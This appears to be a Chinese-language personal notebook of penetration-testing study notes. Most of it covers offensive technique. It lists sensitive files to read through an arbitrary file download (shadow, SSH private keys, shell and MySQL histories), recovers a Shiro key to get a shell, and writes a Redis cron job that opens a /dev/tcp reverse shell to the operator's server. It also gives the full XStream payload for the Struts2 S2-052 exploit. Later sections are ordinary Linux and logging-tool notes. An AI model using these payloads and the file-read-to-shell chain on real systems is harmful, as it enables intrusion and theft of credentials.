目录
1.今天完成正常的任务
2.任意文件读取到getshell
思路:
-
首先看架构(shiro),系统等
-
然后根据架构查找漏洞
-
手足无措的时候看目录和js 把所有js爬下来
-
读取js,get遍历,发现有个405(请求的http方式不对),之后返回200,但是没有数据返回,想到参数问题
-
fuzz(Fuzz是一种基于黑盒的自动化软件模糊测试技术,简单的说一种懒惰且暴力的技术融合了常见的以及精心构建的数据文本进行网站、软件安全性测试;
针对一部分网站可以扫描的全面,只要你的字典足够强大就可以扫描到绝大多部分的目录和文件)
– Fuzz的核心思想:
-------目录Fuzz(漏洞点)
-------参数Fuzz(可利用参数)
-------PayloadFuzz(bypass)
例如:御剑: 界面化目录和文件扫描
—Dirsearch : 扫描模式和dirbuster是差不多
—Nikto : 作用在于目录的爆破
—wfuzz : 可以进行web应用暴力猜解,也支持对网站目录,登录信息,应用资源文件等的暴力猜解,还可以进行get及post参数的猜解,sql注入,xss漏洞的测试等。该工具所有功能都依赖于字典 -
利用fuzz对参数进行猜测
-
发现是任意文件下载
命令
- /root/.bash_history
/home/username/.bash_history
web日志路径- /root/.ssh/id_rsa
/root/.ssh/authorized_keys
公钥私钥路径- /etc/redhat-release
系统版本,提权可能需要- var/lib/mlocate/mlocate.db
基于本地所有文件的信息的配置信息都知道。需要高权限用户才可以。- /proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid
/proc/pid/cmdline 则可以看到对应pid进程的完整命令行。
/proc/net/fib_trie 内网IP
/proc/self/environ 环境变量
/proc/self/loginuid 当前用户
- 任意文件getshell一般方式
找源码,找数据库 - 目标是shiro框架,这里尝试去利用shiro的反序列化漏洞去执行。
利用公开的脚本没有跑出来key,那就要去读取目标的core.jar去主动寻找key值。 - 因为任意文件读取为高权限,这里成功读取到目标的mlocate.db文件。然后可以下载下来
- 利用sublime打开搜索shiro
- 找到core.js路径
- 利用luyten寻找key值,搜索Base64.decode
- 利用shiro工具,拿到shell
- 下载素材时,看到url=/xxx/xxx/xxx.zip,猜测可能存在任意文件下载漏洞
- 测试url=/etc/passwd,成功,但无法解压,用notepad++打开
- 最好看下敏感文件
/etc/passwd #看一下存在哪些用户和服务,如果某些用户有bash,可以读一下他的.bash_history
/etc/shadow #shadow文件,但是很难破解
/root/.bash_history #root用户操作历史命令记录,可能会泄露服务器根路径,mysql密码,一些服务启动脚本等
/root/.mysql_history #mysql历史命令记录文件
/var/lib/mlocate/mlocate.db #本地所有文件信息
/etc/ssh/sshd_config #ssh配置文件,如果对外开放可看到端口
apache:
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
nginx:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
redis:
/etc/redis.conf
- 然后根据任意文件下载的思路,进行信息收集(.bash_history)
- 发现redis端口对外开放,又根据.bash_histroy中获得的密码,利用redis反弹shell
- 在服务器nc监听(nc -lvp port)
- 连接redis(./redis-cli -h xxx.xxx.xxx.xxx(目标ip) -p 6379 -a password(密码))
- 写入计划任务(set test “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx(服务器ip)/8888 0>&1\n\n”
config set dir /var/spool/cron
config set dbfilename root
save)
3.复现structs2(s2-052)远程命令执行
漏洞编号为CVE-2017-9805(S2-052),Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击
- 从struts2的官网下载最后受影响的版本struts-2.5.12,其下载地址:
http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip - 拿到struts-2.5.12-apps之后,将其中的app目录下的struts2-rest-showcase.war文件放到tomcat的webapps目录下
- 浏览器中访问地址:http://ip地址:8080/struts2-rest-showcase/(注意端口冲突,netstat -ant查看端口,我的tomcat端口改为了8081)
- 点一个edit,然后提交并用burp抓包
- 这里将:Content-Type: application/x-www-form-urlencoded
- 修改为:Content-Type: application/xml
- 下面时数据
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
- 利用s2-052.py反弹linux下的struts2
- 在msf下的反弹struts2的shell
4.sh和./的区别
直接sh 加上文件名.sh,如运行start.sh为sh start.sh【start.sh可以没有x权限】
5.nginx配置文件
Nginx 主配置文件/usr/local/nginx/conf/nginx.conf 是一个纯文本类型的文件。
- 全局配置
全局配置部分用来配置对整个 server 都有效的参数。主要会设置一些影响 nginx 服务器整体运行的配置指令,主要包括配置运行 Nginx 服务器的用户(组)、允许生成的 worker process 数,进程 PID 存放路径、日志存放路径和类型以 及配置文件的引入等 作者:小牛在行动yu https://www.bilibili.com/read/cv16082182/ 出处:bilibili
6.lsof命令
- lsof (list open files)是一个列出当前系统打开文件的工具
- lsof访问的是核心文件和各种文件,所以必须以root用户的身份运行才能充分发挥其功能。
COMMAND :进程名称
PID:进程标识符
USER:进程所有者
FD:文件描述符,应用程序通过文件描述符识别到该文件。如cwd、txt等
TYPE:文件类型,如DIR,REG
DEVICE:指定磁盘名称
SIZE:文件大小
NODE:索引节点(文件在磁盘上的标识)
NAME:打开文件的确切名称
其中u表示该文件被打开处于读取\写入模式,而不是只读或只写模式;
- 查看端口现在运行的情况
ls -i:port #某个端口
ls -i:port1-port2 #
ls -i:1-1024 #查看端口1-1024运行情况 - 恢复删除文件
最后通过重定向的方法恢复被删除的/var/log/messages
cat /proc/5925/fd/1 >/var/log/messages
PID 5925
7.sz和rz
rz sz指令可以实现linux和windows之间的文件传输,但要求在windows客户端要安装Xshell或SecureCRT远程连接工具。
- sz下载文件,无需ftp/sftp
- 从本地上传文件到Linux服务器,可以使用rz命令
yum install lrzsz -y
sz参数
-a 以文本方式传输(ascii)。
-b 以二进制方式传输(binary)。
-e 对控制字符转义(escape),这可以保证文件传输正确。
-c command
-i command 在接收端(本地)执行命令
8.logstash简介及基本操作
-
简单来说logstash就是一根具备实时数据传输能力的管道,负责将数据信息从管道的输入端传输到管道的输出端;与此同时这根管道还可以让你根据自己的需求在中间加上滤网,Logstash提供里很多功能强大的滤网以满足你的各种应用场景。
-
logstash常用于日志系统中做日志采集设备,最常用于ELK中作为日志收集器使用
-
基于logstash是jruby语言编写,即需要java环境
- inpust:必须,负责产生事件(Inputs generate events),常用:File、syslog、redis、beats(如:Filebeats)
- filters:可选,负责数据处理与转换(filters modify them),常用:grok、mutate、drop、clone、geoip
- outpus:必须,负责数据输出(outputs ship them elsewhere),常用:elasticsearch、file、graphite、statsd
- 工作流程
input { 从哪个地方读取,输入数据。
}filter { 依据grok模式对数据进行分析结构化
}output { 将分析好的数据输出存储到哪些地方 }
9.ping命令
- ping/? :ping命令使用帮助
- ping -l:发送size指定大小的到目标主机的数据包
- ping -r:在“记录路由”字段中记录传出和返回数据包的路由,探测经过的路由个数,但最多只能跟踪到9个路由
- ping -s:计数跃点的时间戳(仅适用于 IPv4),有效范围从 1 到 4
- ping -n:跟无参数ping一个样。在默认情况下无参数ping一般都是只发送四个32字节数据包,-n的话可以指定发送多少数据包,通过这个命令从数据包返回的最短时间、最长时间、平均时间可以衡量网络速度、延迟,从丢失率可以衡量网络的稳定性。
- ping -t :不间断地Ping指定计算机,直到管理员中断
- 无参数 ping :在默认情况下,一般都是只发送四个32字节数据包
10.提取txt指定内容
# -*- coding:utf-8 -*-
# 提取txt指定内容
# 思路:利用切片,将中间多少行加到另外一个文件夹
def delete_lines(filename, head,tail):
fin = open(filename, 'r')
a = fin.readlines()
fout = open(放到哪个文件, 'w')
# head:tail,可以取范围
b = ''.join(a[head:tail])
fout.write(b)
delete_lines(目标文件,起始,结尾)
11.问题
在写python中,出现下面问题
Non-UTF-8 code starting with。。。
解决
# -*- coding:utf-8 -*-
mlocate.db文件的格式?
如何防护shiro的key?